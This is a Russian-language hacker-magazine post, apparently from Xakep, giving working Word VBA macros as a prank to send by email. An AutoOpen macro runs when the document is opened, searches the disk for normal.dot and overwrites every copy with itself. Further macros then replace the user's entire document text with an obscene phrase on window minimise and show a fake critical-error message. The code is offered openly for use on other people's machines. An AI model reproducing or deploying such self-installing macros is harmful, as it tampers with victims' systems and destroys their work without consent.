Зайдя на ксакепа в очередной раз,
заметил, что опубликовано мое западлишко на
офисную тему, а под ним от Ромэо следущая
мессага:
"Неплохо... Но хорошо бы это делать с
удаленного компа! Отправить на мыло какое-нибудь
файло, а при его вскрытии само бы все
установилось!"
Спешиал фор ю, Ромэо, еще один весёлый
макрос (даже три):
Sub AutoOpen() 'Макрос автоматом выполняется при
'открытии дока
Dim i As Byte
If ActiveDocument.Name <> "Имя вашего дока" Then
Exit Sub
End If
'Если этот работает уже как шаблон (то есть
' запущен не в первый раз) тогда выходим из
'процедуры
'Дальше идет поиск и замена всех "normal.dot"
по указанному пути
With Application.FileSearch
.FileName = "normal.dot"
.SearchSubFolders = True
.LookIn = "Папка или диск, где надо искать"
'Например .LookIn="C:\Windows\Application
'Data\Microsoft\Шаблоны"
.Execute
For i = 1 To .FoundFiles.Count
FileCopy ActiveDocument.FullName, .FoundFiles(i)
Next i
End With
End Sub
Sub AppMinimize() 'Макрос автоматом вып. при
'свёртывании окна
Application.ScreenUpdating = False
ActiveDocument.Select
Selection.Text = "XYU B POT"
Selection.Collapse
End Sub
Sub AppMaximize() 'Макрос автомато вып. при
'развёртывании окна
Dim asd As String, qwerty As String
Application.ScreenUpdating = True
asd = "Дядя били пошутил"
qwerty = "Критическая ошибка"
MsgBox asd, vbCritical, qwerty
End Sub
В результате открытия этого дока
нормальный шаблон будет изменён таким
образом, что при свертывании и
развертывании окна вордов все честно
написанное превратится в текст "XYU B POT",
после чего будет выдано сообщение о шутке
дяди Билли Ж ;o)
Внимание!!! все, что написано на строке после
апострофа - является примечанием, и это
писать не обязательно
Это западлянка будет работать только с MSWord,
чтобы работала с экселем и др. надо вместо
нормал.дот писать имя глобального шаблона
для каждого из приложений.
При открытии такого дока будет заметное
хрипение винта т.к. автоматом запускается
поиск.
А вообще за приколами на ВБА прошу ходить ко
мне на пагу (которая появится этак в конце
января) по адресу http://rulezboy.narod.ru
Если у тебя есть полезная инфа, то
непременно отправляй ее нам. Давай юзать Софт
вместе. Координаты ты знаешь: epsilon@real.xakep.ru
